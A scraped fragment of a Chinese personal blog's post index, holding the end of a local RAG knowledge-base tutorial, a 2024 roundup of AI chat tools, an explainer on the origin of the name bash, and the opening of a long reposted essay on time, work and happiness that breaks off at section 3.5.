查询模式：大模型只是简单地针对文档进行回答。 比如我随便上传了一个 《劳动合同法》 的 pdf 文件，用查询模式进行对话：\n虽然不太对，但内容是从我上传的文件里找到的，还可以点击查看源文件。\n我将笔记本中的很多计算机相关的 markdown 文件作为“知识” 上传后，进行问答：\n至此，我的本地个人知识库就搭建完成了！\n参考 https://sspai.com/post/85193 https://medium.com/@huangyihe/中文大模型-本地运行-b30e14d4d6ac ","date":"2024-06-09T02:14:14Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-06-09-rag-shi-jian-ollama-anythingllm-da-jian-ben-di-zhi-shi-ku/cover.jpg","permalink":"/p/2024-06-09-rag-shi-jian-ollama-anythingllm-da-jian-ben-di-zhi-shi-ku/","title":"RAG 实践-Ollama+AnythingLLM 搭建本地知识库"},{"content":"前言 对话式 人工智能工具的使用可以大幅度提高我们的工作效率，本文将介绍一些比较好用的工具，方便大家日常使用。\n工具 豆包 豆包- 抖音旗下AI 智能助手 https://www.doubao.com/\n手机、PC 端都支持下载\n功能完善，国内优秀的对话式人工智能，利用的自研的大模型原名“云雀”\n扣子 https://www.coze.cn/ 字节跳动版本的 GPTs ，使用的模型多为国产及开源模型\nhttps://www.coze.com 是 扣子的海外版本，模型可选 GPT-4(免费用，还要啥自行车 😀 )\n目前只支持 web 访问\n智谱清言 https://chatglm.cn/\n有 web 、PC、手机客户端\n使用国产 GLM-3 GLM-4 模型 ，可以说是目前除 openAI 的 ChatGPT 外对中文支持最好的大模型。\n秘塔 AI https://metaso.cn\n适合对某一领域或话题进行深入分析，可产出完整的分析报告，适合理论研究、论文、文档的编写。\n使用的模型为：秘塔科技自研大模型 MetaLLM\nkimi 著名的月之暗面 公司的产品 https://kimi.moonshot.cn/\n功能强大，可支持较大的上下文和多文件。号称国内最强 AI 工具。支持手机客户端、PC 端使用\n所用模型为国产大模型 Kimi，将上下文无损输入长度提升至 200万字，成为国内大模型首次在部分能力上超越海外主流产品的里程碑。\n通义千问 https://tongyi.aliyun.com/qianwen/\n原来一般，但最新开源的 Qwen2 模型非常强 👍 ，可以一试\n“\n阿里开源了通义Qwen2模型，可以说是现阶段这个规模最强的开源模型。发布后直接在 Huggingface LLM 开源模型榜单获得第一名，超过了刚发布的 Llama3 和一众开源模型。Qwen2在代表推理能力的代码和数学以及长文本表现尤其突出。推理相关测试及大海捞针测试都取得了很好的成绩。 模型概览：Qwen 2 模型组成包括 Qwen2-0.5B、Qwen2-1.5B、Qwen2-7B、Qwen2-57B-A14B和Qwen2-72B。其中Qwen2-57B-A14B为 MoE 模型。 模型在中文、英文语料基础上，训练数据中增加了27种语言相关的高质量数据；增大了上下文长度支持，最高达到128K tokens（Qwen2-72B-Instruct）。多个评测基准上的领先表现；代码和数学能力显著提升；\n”\nperplexity https://www.perplexity.ai/\n中文支持效果一般，可连网\n文心一言 百度的产品，从效果上 3.5 版本不及其他中文模型，但早期中文的理解在某些方面比 ChatGPT3.5 强（应该是针对中文进行过更多的训练和模型微调）。4.0 没体验过，因为他居然 收费了\n还能说什么呢，这很百度 ╮(╯▽╰)╭\nPoe https://poe.com/ AI 套壳工具，可选多家公司的 AI产品\nGemini 需要科学上网，Google 出品的对话式人工智能 https://gemini.google.com/app ，使用的是 Google 自研的 Gemini 模型\nChrome 浏览器升级到最新版本后，可以用 @ 直接与 Gemini 对话\nClaude 3 Anthropic 公司的 Claude3 https://claude.ai/\n从能力上可以比肩 OpenAI 的 chatGPT，甚至在质量上比 GPT-4 优秀。但收费\nChatGPT 这个我想应该不用说了，都熟\n工具对比 整体来看 虽然 OpenAI 以及旗下 ChatGPT 仍然是业界标杆，但国产中文大模型越来越强大。国内用户首推以下几款，目前都可以免费使用：\n智谱清言 Kimi 通义千问 能解决网络问题的，推荐试试：\nGemini Coze (国际版) 能解决网络问题且不差钱的，推荐：\nChatGPT-4 ChatGPT-4o Claude3 总结 目前中文大模型整体都比 ChatGPT3.5 好用了，如果你习惯使用 ChatGPT3.5 的，真的可以试试国产大模型（不必担心网络问题，回答问题的质量更高）\n","date":"2024-06-08T13:15:48Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-06-08-ai-gong-ju-tui-jian/cover.jpg","permalink":"/p/2024-06-08-ai-gong-ju-tui-jian/","title":"AI 工具推荐"},{"content":"回顾 一个常规的 shell 脚本长这样：\n在 为什么 shell 脚本的开头要写 #!/bin/bash 这篇文章中我们介绍过第一行，即\n#!/bin/bash\n第一行的作用是：用于指定默认情况下运行指定脚本的解释器 #! 有个专有名词叫 “蛇棒” /bin/bash 自然就是指定的那个解释器 于是，接下来我有了今天的这个问题: bash 为什么叫 bash ?\nbash 名字的由来 shell 我们知道无论是 bash zsh sh 都是一种 shell ,那就要先从 shell 讲起了。\n“\nShell 是一个用户与操作系统交互的界面。可以将其视为一个命令行解释器，它提供了用户输入命令的方式，并且可以将这些命令传递给操作系统进行执行。换句话说，它是用户和操作系统之间的桥梁。\n如图所示，作为一个 “壳” shell 的命名还是挺生动的。\n你的电脑上其实也或多或少安装了一些 shell ，比如我的 Mac 电脑上安装了这些：\n这么多 shell ,肯定有一个是当前默认正在使用的，也就是说，当你开启一个新的终端会话时，系统将运行此 shell。\n你可以如下图所示查询默认 shell 是哪个：\nbash 介绍完了 shell ，我们回到问题本身\nbash 当然也是一种 shell 程序，那它为什么叫 bash 呢 ？百科是这样说的：\n“\nBash 是 Brian Fox 为 GNU 项目编写的一种 Unix shell 和命令语言，是 Bourne shell 的自由软件替代品。它的名称是 Bourne-Again SHell 的首字母缩写，与它所替代的 Bourne shell 的名字谐音。该 shell 于 1989 年首次发布，一直被用作大多数 Linux 发行版的默认登录 shell，也是 Linus Torvalds 将 GCC 移植到 Linux 的首批程序之一。\n解释一下：\n是 Bourne-Again SHell 的首字母缩写 是谐音，这里指的是 Bourne-Again 谐音 born again ,即重生的意思，非常符合，因为 bash 是替代者，替代了 Bourne shell Bourne Shell Bourne Shell 又是什么呢？\n它属实是 “最熟悉的陌生人” ，说 Bourne shell 你不知道 ，但要说 sh 你可能就明白了\n对，就是它\n“\nBourne shell 由 Stephen Bourne 在贝尔实验室开发，它是 Thompson shell 的替代品。它于 1979 年在第 7 版 Unix 中发布，分发给高校使用。Bourne shell (sh) 是计算机操作系统的 shell 命令行解释器。Bourne shell 是第 7 版 Unix 的默认 shell。即使大多数用户使用其他 shell，类 Unix 系统仍会继续使用 /bin/sh，即 Bourne shell。\n虽然 Bourne shell 属于 “老古董” 且被 bash 替代了，但并不表示它就没有用了。\n在大部分的 Linux 系统中，例如 Debian/Ubuntu、Centos/RHEL 和 Fedora 等， 默认的 Shell 是 Bourne Again Shell (bash)。Bash 是 sh 的超集，包含了 sh 的所有特性，并增加了其他一些改进和新特性，但是也有一些系统使用的默认 Shell 不是 bash，如 Solaris 和 FreeBSD，默认的 Shell 是 Bourne Shell(sh)。\n注意：虽然在一些系统中默认 Shell 是 sh，但 sh 很可能仅仅是指向 bash 或其他 Shell 的一个链接，具体可以通过查看 /bin/sh 是连接到的哪个实际的 Shell 程序来确定。\n通常在 Linux 系统中运行 ls -l /bin/sh 命令可以查看 sh 实际指向的是哪个 Shell。\n无论默认的 Shell 是什么，在大部分的 Linux 系统中，用户都可以自由选择使用哪个 Shell。这可以通过修改用户的默认 Shell 设置来实现，相关命令是 chsh -s\n总结 至此我们清楚了 bash 为什么叫 bash 同时也回顾了一下相关的历史,以后再看到如 bash、sh 这些 shell 感觉又多了一份亲切感，不再是陌生和冰冷的技术字眼 😁\n哦，BTW,我本地一直用的是zsh 但服务器上更多的是 bash 你呢? 请在评论区告诉我。\n","date":"2024-04-24T10:32:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-04-24-bash-wei-shen-me-jiao-bash/cover.jpg","permalink":"/p/2024-04-24-bash-wei-shen-me-jiao-bash/","title":"bash 为什么叫 bash？"},{"content":"本文大约 6.3 万字，需要 125 分钟阅读，约占平均寿命的 0.0026‰。\n滴答，滴答，滴答，我在奔向死亡。\n每一个生命，在它降临在这个世界上的那个瞬间，它就获得了一个不可改写的终局——死亡。\n人类自然不会例外，你我也不例外。\n2021 年，中国人均预期寿命提高到 78.2 岁，以我个人的粉丝和读者的画像来看，大部分读者的应当还处在生命额度的前 1/3。\n随着生活条件的改善，医疗技术的进步，78.2 这个数字还在不断地向更大的数字扩张。所以对于现在正处于 20 岁，30 岁，乃至 40 岁，又身处忌讳死亡的亚洲文化中的中国青年来说，几乎从不考虑自己的生命还剩下多少。\n然而，如何认识死亡，意味着如何看待生活。唯有越早的意识到死亡的必然性，才能让有限的生命更有意义。\n以现代中国人的典型社会时钟为例，一个人的一生，大致可以如此划分：\n3 岁以前的婴儿期在家中度过，3 岁到 6 岁在幼儿园度过一个天真烂漫的童年，6岁到 12 岁在小学学习，12 岁到 15 岁在初中学习，15 岁到 18 岁在为高考而奋斗，18 岁到 21 岁就读于大学，如果“上进”一些，那么在 21 岁到 24 岁则在读研究生。\n接下来，进入从 24 岁到 65 岁的工作阶段，大约是 41 年。\n如果我们将人生的最后 5 年，预估为“病榻期”，将出生到幼儿园“毕业”的前 6 年，当作个体记忆缺失的“无知期”，再将小学到高中的 12 年作为成为现代人的“必修课”。\n大约是 55 年，这个数字与我们工作的时间大体重叠。这意味着对于大多数的现代人来说，人生中体力最好，精力最旺盛，头脑最明晰的那段年华，正好就是现代社会要求我们上班工作的那段时间。\n也许你现在正在上班的路上，或者上班的间隙阅读这篇文章。你每日的工作也许让你满意，也许让你不满意。也许，你精心地计算过这份工作给你带来的收入，也许正盘算着在几年后找到或晋升到一个收入更高的职位。也许，你还计算着今年、明年、后年的预期收入，将能为你带来怎样的生活改善。也许，是一间新房，一场旅行，一张绿卡，或者是爱情的结晶。\n但几乎很少有人计算过，你现在从事的工作，以及为了维持这份工作所付出的准备，占据了你人生的百分之多少。\n时间就是金钱，反过来说金钱就是时间。\n这份工作为你带来了多少收入，这些收入能购买你想象中的幸福吗？你是否计算过，你有多少时间能拿来享受这些买来的幸福？如果你工作的唯一目标，是有朝一日不再工作，那么这个有朝一日是多久，你为了这个有朝一日又要付出多久。\n你是否真的从有限生命的角度考虑过，你当下的工作，以及以工作为中心设计的人生布局是否值得？\n在《互联网与中国后现代性呓语》中，我曾经写过，自工业革命以来，时间的暴政主宰了现代社会。如何在一个不断加速的世界中，如何在个体层面找到一个可执行的、幸福的、不被内卷的人生框架，这是我这次写作的主题。\n滴答，滴答，滴答，你在迈向死亡。\n本文作者： 评论尸 、 汐笺 ，文中第一人称“我”的个体经历描述均来自评论尸。\n以下分别是他们的公众号：\n本文另有可读性更高的版本以及 PDF 版，您可以复制链接（https://1q43.blog/post/5322）在浏览器打开，或使用微信识别下方二维码：\n如果你是评论尸的老读者，并且在过去读过我之前撰写的三篇年度叙事稿件《互联网是人类历史的一段弯路吗？》《垄断的困境》和《互联网与中国后现代性呓语》。\n那么，在读完这个序言之后，你应该已经隐隐感觉“不对劲”了。\n今年的稿件将与之前的三篇稿件完全不同，在连续三年进行元叙事写作之后，说老实话我对那种写作方式已经有了一些厌倦。而且，对我目前所关注、所感兴趣、所涉猎的领域来说，我都已经有了一些至少看起来合理（但并不一定正确）的解释。\n2022 年，在《呓语》于《读库2205》刊发不久之后，我第一次去拜访了读库的创始人老六。在那次交流中，老六问了一个许多人都问过我，但我从来没有在公开场合回答过的问题：你的写作动机是什么？\n一般来说，写作是一种表达，但这种表达不是最终的目的，表达要么是为了影响谁，要么是为了获得名誉或利益。但在这两点上，我都不太在乎，甚至在《垄断的困境》上，我主动限制了文章的传播，避免让更多的人看到。我不希望我的稿子影响到太多人，也不希望这些稿件能给我带来什么收益或名誉，因为这些稿子在被写成的时候，它的使命就已经完成了——解答我自身的问题。\n在很长一段时间里，我在各社交媒体平台上给自己的 Slogan 都是“面向自己写作”。写作对我来说是一种回答问题的方法，而三篇稿件的背后，其实回答的都是我个人的职业发展问题，与他人毫无关系。\n第一篇《互联网是人类历史的一段弯路吗？》回答的是作为 2013 年以半个 FA 和媒体人角色加入互联网行业的我，在 2017 年以后，看到的互联网行业不可避免的颓势，究竟来源于何种底层逻辑。\n第二篇《垄断的困境》回答的是，在 2020 年以后，身份转换为互联网大厂员工后看到的内外信息差与误解。\n第三篇《互联网与中国后现代性呓语》回答的是，作为一个从小学（1997 年）就开始上网的老网民，所感受到的互联网话语体系变迁的背后的逻辑。\n但三者背后有一个共同的问题，这个问题非常俗气，是一个无数成功学、职场教育、心理学和励志书籍都探讨过的话题——我的工作和为此付出的人生是否真的有意义？\n这是一个非常无聊的问题，也是一个非常有趣的问题。说它无聊，是因为这样的话题十分容易落入职场和成功学的范畴。而在这两个领域里，几乎所有可行的、有建设性的方案都已经被遍历过了，任何新文字都是旧理论的翻版。\n但另一方面，它也是个有趣的话题，正如我之前在《呓语》中提到的，在当下这个“见证历史”的时代，越来越多的人事实上需要一个新的框架来进行人生设计，而这个框架和之前的任何框架都可能完全不同。这种需求来自两个方向的张力：\n其一，是随着中国改革开放 40 年经济高速发展后，我们此刻所抵达的这个“中转站”状态，为大众尤其是新一代青年提供了非常好的物质条件基础。从西方的社会发展来看，这种物质条件基础刚好是新自由主义、消费主义和后现代性思潮的温床。\n其二，则是目前中国这个暂时富裕的中转站状态又远不及老牌资本主义国家在建立结构性跨国剥削后那般稳固。从社会整体到个体命运，我们仍然能够感受到“外部威胁”和“内生问题”的存在。在国家层面，这种外部威胁是地缘政治紧张。在个人层面，这种内生问题则是经济衰退与随时可能出现的黑天鹅事件。\n在这种两股力量所形成的张力下，个体很容易产生强烈的认知失调——心理学上，人因为进行与自己的思想、价值或自我概念相悖的行为而产生的心理压力或焦虑。比如，我观察到大量的青年进入了“躺而不平，平而不躺”的状态，这便是一种认知失调。\n这两年，在抖音和快手上如雨后春笋一般地涌现了很多非主流生活方式的博主，有在不同网吧之间辗转只打零工的网吧难民，有用短视频记录自己拾荒生活的流浪博主，有通过不断旅居评测不同城市躺平舒适度的城市评测员。\n这些看似“躺平”的博主，实际上做着比上班更辛苦的工作，在放弃了主流生活之后，他们为了弥补财务上的缺失所付出的劳动力往往比他们之前上班的时候更多。但奇怪的是，他们是真的快乐。\n而另一方面，我也围观了大厂青年的精神内耗，他们要么在 BAT 等互联网行业，要么在金融、地产或相关行业。在过去两年，这些行业的增速不再，裁员频发。尽管没被裁员的人，仍然享受着相对较高的生活水平，但每日却过得惶惶不可终日。\n我们不妨想象，整个社会就像是一条逃离贫困的高速公路。在过去，所有人坐在不同的车上，沿着路的一个方向向前飞驰。因为我们的起点在一个非常糟糕的地方，那个地方吃不饱饭，穿不上衣，看不到电影，听不了演唱会，买不到奶茶，没有自来水，煤气和网络，甚至连电都供应不上。\n每个从那个起点上车的人，尽管上的车速度不一，有的人先富有的人后富，但都会认为车的方向有且只有一个——那就是遥远的地平线，一个“物质极大丰富”的乌托邦。\n但当我们从那个始发站出发后越来越远，路边的风景开始变得诱人。有一些人认为，是时候下车了，因为路边的一片油菜花，比人人买得起豪宅更重要。有一些人则仍然在跟着车走，因为前方可能有院子里带一片油菜花的豪宅。\n下车的人和仍在车上的人，互相构成了彼此对理想生活的想象。这本身是无可厚非的，但如果大部分人都在因为这种想象中的理想生活而感到痛苦，那么这就不是一个理想的状态。\n我也曾在很长一段时间陷入到这种痛苦之中，这种痛苦甚至构成了我去撰写前面的三篇文章（《弯路》《垄断》《呓语》）的动力。但在这之后，我已经摆脱了这种状态。\n在和老六的交流中，我说 2023 年不会有年度稿件了，因为我已经有了一个相对明确的答案，那种驱动我寻找解释性答案的动力已经消失。\n而这篇文章，则是下一个阶段的开始。\n不再解释，而是一种行动框架。\n3.1 It’s all about time\n在高纬度的生物看来，人是一条生活在时空中的蠕虫。\n人起于时间长河中的一点，以恒定的速度在时间维度上永远向前蠕动，在空间里上蹿下跳，左躲右闪。每个人一生所能经历的，只是无限时空中自己所爬过的那一条窄窄的通道。\n在开始谈及幸福、人生、工作这些越来越具体的事情之前，我们要先建立一套度量衡，在这个度量衡里，最重要的不是金钱，不是成就，甚至不是爱情亲情友情，以及人生本身，而是时间。\n时间是限制我们获得任何东西唯一的障碍，一个早夭的天才无法获得世界的赞誉，一个永生的奴隶却总有一天会成为全世界的奴隶主。任何其他阻碍你的事情，几乎都可以被时间替换。\n但在现代社会，有太多事情让我们忘记了这一点，比如当我们工作的时候，我们总会想着拿到更多的钱，但却不把失去的时间计入其中。当我们消费的时候（尤其是购买那些效率工具），我们又会计算我们因此节省了多少时间，从而忘记了我们是以多少时间来换取这些金钱。\n这就好像我们走进了一间大型超市，货架上有着琳琅满目的商品，但令人困惑的是每个商品都采用其原产地的货币标注了价格。我们可怜的大脑，着实是不善于应付这样的场景，因此往往是到了收银台才知道自己究竟花费了多少钱，是亏了还是赚了。\n为此，本文将建立一个新的度量衡——将你人生中的一切，以你现在的时薪反算成时间作为价签。\n我在 2022 年发布的短篇小说《你的价格》中，曾实验性地使用了这个度量衡，直接用小说里的例子来说明它的用法：\n小李的月薪是税前小 6 万，公司执行 996 制度，换算下来时薪是 173.61 元。一顿 1880 元的法餐，对于这个薪资的小李来说，算是偶尔开荤并不过分。但这顿饭摄入的额外热量，还要让小李在健身房多运动一个小时。如果吃这顿饭本身，还用了小李两小时的时间。那么最终如果将这顿饭换算成时间，它的价格是小李的 14 个小时。\n当我们将所有的度量衡都改为时间，生活中的许多事情价格就突然高了起来。比如，小李以为一顿饭付出了 1880 元的现金，但考虑吃饭本身的时间以及吃过之后去健身房消耗热量的时间，但实际上他付出的是 14 个小时在公司的“牢狱时间”。\n这个时候，小李还会觉得“自己辛苦工作，值得这样偶尔奖励的一餐”吗？\n因为实际上，他有另一种选择，就是他不用辛苦工作，也不需要奖励自己这样一顿放纵餐。\n在小说里，小李选择了离开大城市和 996 的互联网行业，去追逐小县城的闲适。\n原因是如果以他在互联网公司的薪水计算，他在路边看一小时夕阳的价格是 173.61 元。\n而正是由于这个时薪的工作要求加班，他已经好久没有站在路边去欣赏夕阳了。他突然意识到，他喜欢夕阳，但他高薪的工作让他“买不起”夕阳了——他自己太值钱了，以至于无法浪费时间去做那些他自己想做的事情。\n当他降低了自己的时薪，放弃了那些他原本就不应该在意的生活，而去追逐每一次黄昏，那么黄昏对于小李的价格反而下降了。\n这便是“时间就是金钱，金钱也是时间”的双向运用。这不是我为了写小说而编出来的度量衡，而是我将我自己用了很久的度量衡用在了小说里。\n本文将依照这个度量衡，展开大部分讨论。\n3.2 幸福是什么？\n在建立了最重要的度量衡之后，我们接下来可以讨论一下幸福。\n幸福是一个贯穿人类哲学史的命题，但它似乎又不只是一个哲学命题，而是切实地影响着我们每个人每日的生活。\n尽管有些不可思议，但在近现代，幸福在学术界的话语权一直被掌握在心理学的范畴，如果你还没有意识到问题所在，那么我们可以重温一下心理学的定义：一门研究人类与动物心理现象、意识与行为的科学。\n也就是说，尽管在现代社会中，世俗大众对幸福有着种种外在的想象，比如很有钱，很有权力，很有性缘，有很美满的家庭等等。但幸福却是一个与外在条件关联不大，藏于我们皮肤之下的东西。\n客观上来讲，财富、婚姻、友谊、事业、居住环境、健康都会影响一个人的幸福度，但我们还是能在世界上最贫穷的贫民窟里，在无可救药的安宁病房里，在孤独终老的人身上找到幸福的光辉。\n外在条件对幸福程度的影响似乎是概率相关的，而不是因果性的，对个体而言，是否能够幸福的决定性因素深埋于我们的内心之中——重要的不是世界，而是我们的潜意识如何解读这个世界。\n1996 年美国心理学家马丁·塞利格曼创立了“积极心理学”，开启了心理学历史上首次对人类积极情绪的大规模研究。说来也怪，自弗洛伊德以来的心理学几乎一直在围绕着不幸做文章，焦虑，抑郁，沮丧，应激，歇斯底里，性成瘾，自杀冲动等等。但在积极心理学被创建之前，很少有心理学家在“如何才能获得幸福”这件事上进行系统性的研究。\n在积极心理学被提出的时候，它是个全然新生的旁支。但短短不到 30 年过去，幸福心理学已几乎成为此刻欧美心理学领域最热门的领域之一。\n建议你在看完本文之后再去阅读积极心理学相关的书籍，这样有助于你在学习具体的“操作方法”之前，对问题的整体有一个框架性的认知。\n好，到现在为止，我们有了本文对幸福的定义——幸福是一种以快乐、满足或满足感为特征的主观体验状态。\n当一个人不需要思考幸福是什么的时候，他就是幸福的，当一个人整天思考幸福是什么的时候，大概率就是不幸的。\n幸福受客观因素的影响，但并不全然可以被客观衡量，因为对于不同的人来说，相同的境遇有着完全不同的主观体验。\n我不会说我对幸福的定义是对的，因为有太多比我权威得多的人定义过幸福。而且，本文对幸福的定义过于粗暴与简陋，但我们毕竟也不是要用一个概念去探讨幸福在所有语境中所发挥的作用。\n因此，此处我对幸福的定义，是仅用于本文阅读和讨论的幸福。\n3.3 幸福终局是一种幻觉\n读到这里，你可能仍然难以接受我们将幸福定义为一种主观体验——我的梦想是有钱，我的幸福是做一个有钱人，我希望我能财富自由，只有这样我才能幸福。\n只有达到某种客观状态，我才能获得幸福，因而幸福怎么可能是一种主观体验呢？\n拥有这样观点的人在过去一段时间在社会上，尤其是中青年群体中几乎已经占据主流。我们不妨顺着这个幸福观，去推理一下其中的幻觉性在哪里。\n不过，财务自由本身是一个被建构出来的概念，它实际上在经济层面上没有清晰的定义，财富自由可以指 100 万，1000 万，1 个亿，也可以指 10 个亿。既然如此，我们不妨暂且假定财富自由的标准为：在消费层面（不包括投资）有无限的资金，可以购买任何个人所需求的商品与服务。\n这个时候，人们会去做什么？\n理论上来讲，每个在千篇一律的现代化职场中被压抑的人，渴望的都是在财务自由后释放足够的个性与天性。但奇怪的是，当我问及身边人，他们对财富自由后生活的想象时，他们要么回答“从来没想过”，要么会描述两种非常单调、枯燥、由社会建构出来的标准幸福图景：\n在一线大城市郊区，一个依山傍水的地方，有一个独立设计师打造的大别墅，和自己的爱人在一起，养了一只狗和两只猫，和自己的爱人在一起，有两个淘气的孩子，一日三餐吃有机食物。\n我要环游世界，酒池肉林，享受这世界上最好的美食，我的衣服、鞋和包要塞满一个 70 平的步入式衣帽间，奢侈品品牌会在我的家中开特卖会，VIC 只有资格挑我剩下的。\n但你无论是看《与卡戴珊同行》《璀璨帝国》等美国的富豪真人秀，还是看看现实中国内王思聪的生活，或者有机会与你交际圈里能达到这一等级的“富人”聊一聊都会发现，没有一个财富自由的人真的在过这两种如监狱一般刻板印象的幸福生活。\n因为，这样的生活只有两个字可以概括就是无聊。\n没有财富自由的人之所以难以想象财富自由之后的生活，并非经济水平受限无法想象自己未曾获得的东西，当然这是一部分因素。但更大的因素是，人们（包括一部分已经财富自由的人）从未认真思考过自己想要什么。\n渴望财富自由的穷人，对财富自由的幻想，来自一部分财富自由的富人在过自己想过的生活。富人并不是因为做这些事一定能获得快乐，而是因为他刚好做这件事快乐，而他又很有钱。\n因此，这种复制由他人定义的幸福图景的方式，只会让人陷入一种困惑。\n这在改革开放初期的富人阶层中尤为突出，那一时期因为某些机缘巧合而暴富的中小企业家们的典型形象，便是硬要将一副酒肉塞满的臃肿身体塞进一套完全不合身的西装里，再把稀疏的头发打得油光锃亮。\n你问他为何如此穿搭，他会告诉你，因为港商就这样。但吃海鲜吃到痛风，喝酒喝到肝硬化，身体臃肿还要穿充满拘束感西服的生活，从“身体”的角度幸福吗？显然不。\n幸福终局幻觉并不总是一件坏事，在人人吃不饱穿不暖的时代，我们总需要一些幻觉才能给我们带来活下去以及继续努力完成一定生活条件积累的动力。\n但当我们的生活普遍到达一定水平之上，幸福终局幻觉就会带来它的负面效应：我们会认为我们的当下所拥有的一切都不是自己想要的，因为我们想要的幸福生活永远在地平线的尽头。\n用最简单的生活场景来解释这个，就是在没有衣服穿，需要打补丁的年代，生活无论如何算不上幸福。但在我们当下这个时代，需要去追求让每个人买得起 Patagonia、Miu Miu 和 lululemon 吗？\n真的每个人都喜欢这些品牌吗？认为自己喜欢始祖鸟和 Miu Miu 却买不起的人，究竟是“一见钟情”还是被这些公司的营销费用入侵了自己的喜好呢？\n如果真到了每个人都买得起这些品牌的程度，是不是会有所谓“更好”，其实更贵的幸福生活出现，让你继续“不幸福”。\n我并不反对消费，因为在商品社会，我们的一切生活都是“消费”来的，甚至适度地向“消费主义”妥协，有助于你发现新的生活。\n但消费终究不能替代生活本身，你不能永远将消费主义营造的“幸福终极幻觉”当成是自己追求的生活目标，否则，这会让你已经消费的部分失去意义。\n3.4 幸福人生是一个过程\n当我将幸福视为一个过程时，我似乎更容易获得幸福。\n这涉及我们在 3.1 和 3.2 中对于人生度量衡和幸福本身的定义，如果你忘记了，可以再去复习一下。\n对于从未如此思考的人来说，这似乎有些困难，我们不妨借用一下“幸福终局”的思考方式来进行说明。\n假设你的目标是在 35 岁时过上财富自由的生活。尽管我们在上一节讨论了“财富自由图景”可能是难以描述并且是虚假的，但没有关系，我们可以先暂时忽略达成这个图景之后的想象，先来想象一下图景达成之前的人生。\n当我们将人生的 OKR 定在 35 岁财富自由的时候，我们往往会有一个清晰的数字目标，这个目标甚至因人而异，对小镇青年来说可能是几百万，对城市青年来说可能是几千万甚至过亿。这个数字目标是多少并不重要，因为我们实际根本不需要实现它。\n我们需要的是通过这个数字目标反向规划从你现在到这个目标之间的行动路径（Krs），这可能包括去一个高速增长的行业上班（比如互联网或金融），从事一个极具钱途的副业（比如做 KOL），结交更多上流社会的朋友，节省开支等等。\n这个时候我们会发现，我们的大多数 Kr 在执行的过程中毫无快乐可言。\n无论是去内卷，还是去为了钱做副业，又或者是为了结交上流社会而出入根本不习惯的场合，这些事情本身都不会给我们带来快乐。但它却实打实地消耗了我们的时间——从毕业到 35 岁。\n如果将人的幸福画成一个函数图像的话，它在图表中更像是一块面积（积分），而不是高度：\n在这张图中，横轴是时间，或者说是我们的年龄，纵轴是我们在每个时刻上的幸福值，受当时的经济因素影响但也有很多其他的影响要素。而我们一生的幸福总量，并非此时此刻我们所在的点，而是整条线段下方所覆盖的面积。\n在许多语境中，我们讨论“是否幸福”时，总是会对着那条红色的线进行比较：在 10 岁时，我的幸福值是 70，而现在却只有 40，因此我是不幸的。\n但这种说法，实际忽略了自己 10 岁时已获得的幸福感受。\n幸福是一个过程，这意味着你应当以自己曾经度过怎样的人生的加总（面积）来衡量人生的幸福度，而不能以此时此刻你的幸福值作为人生幸福的量度。否则，除了那些一直在走上坡路，并最后在无痛的梦乡中拥抱死亡的人之外，我实在想不出什么样的人生还能被称为幸福人生。\n当我们理解了这一点之后，我们将面临另一个问题：如何将自己的幸福面积最大化。\n如果你还有一定的几何知识，应该记得这样一个定律：在一个欧几里得平面里，周长相等的情况下，图形越接近圆形，面积越大。正方形大于长方形，长方形大于三角形。\n由于一个人的人生不可能在这张图上表现为“圆形”，因此我们所面临的其实是一个 x 与 y 轴的平衡问题，我们应当尽可能地让其图形保持在可被分割为正方形，或长方形的范围内，减少三角形。\n尽管我也无法解释为什么，但当以折线图表示人生幸福量时，幸福人生确实满足等周不等式。\n也许是因为，从大多数人的主观经历来说，稳步上升的人生和小步下滑的人生（可被分割为多个长方形）都不一定会有很强烈的不幸感，而大起大落的人生（三角形）却总是不尽如人意。\n但正如我们在上一节中提到的，以长周期（5~10 年）去追求幸福是不现实的，因为即便是你能够达成目标，也无法用未来的快乐填补今日的痛苦。\n与其追寻一个幸福的结果，不如追寻一个幸福的过程：我用了 10 年做了一件并没有很好结果的事情，但在这 10 年间的每一天我都十分快乐。\n这听起来似乎是一种自暴自弃的做法，但实际却并非如此。因为快乐地工作，实际上是成就伟大不凡的重要因素。\n无论是在中国的古训还是外国的谚语里，我们总是听到教导年轻人要吃苦的说法。而在那些真实的励志鸡汤故事中，我们也总是听到各类伟人、天才、商业大亨讲述他们早年作为愣头青时的艰苦经历。\n但很多人没有注意到的是，在这类故事中的“艰苦”往往是作者或者世人所认为的艰苦，而并非名人自身所认可的艰苦。\n也许某个名人在撰写他的回忆录时会想到，他曾经在吃不上饭的情况下坚持在某个地方做学徒，这对于已经在写回忆录的现在的他来说是一件艰苦的事情。但对于曾经那个年轻的他来说，这并不一定十分痛苦，甚至有可能是一种快乐。\n因此，以过程为导向建构幸福观并非要及时行乐，而是让寻找能够赋予自身意义感和幸福感的工作，哪怕这种工作本身是十分艰苦，具有挑战性的，甚至是不会导向传统意义的良好结果的。\n许多慈善或公益性质的工作都带有这种属性，比如去偏远地区支教、扶贫或公益。从物质生活条件上，是艰苦的。从物质财富结果上看，是可以忽略不计的。但在整个支教或从事公益工作的过程中，人们所获得的道德愉悦感是恒久的，这种愉悦感甚至可以持续到工作结束后的许多年。\n这便是一种典型的，“幸福过程”的实现方法。当然，投身公益事业并非实现“幸福过程”的唯一路径。\n“幸福过程”是一种思考方式，有的时候我们甚至可以在不对生活和工作作出任何改变的情况下将“幸福结果”修改为“幸福过程”，关于这一点我们会在附录中详细说明。\n但在此之前，我们需要先花一点时间来解释对于大多数人来说如何构建一个“幸福过程”。\n3.5 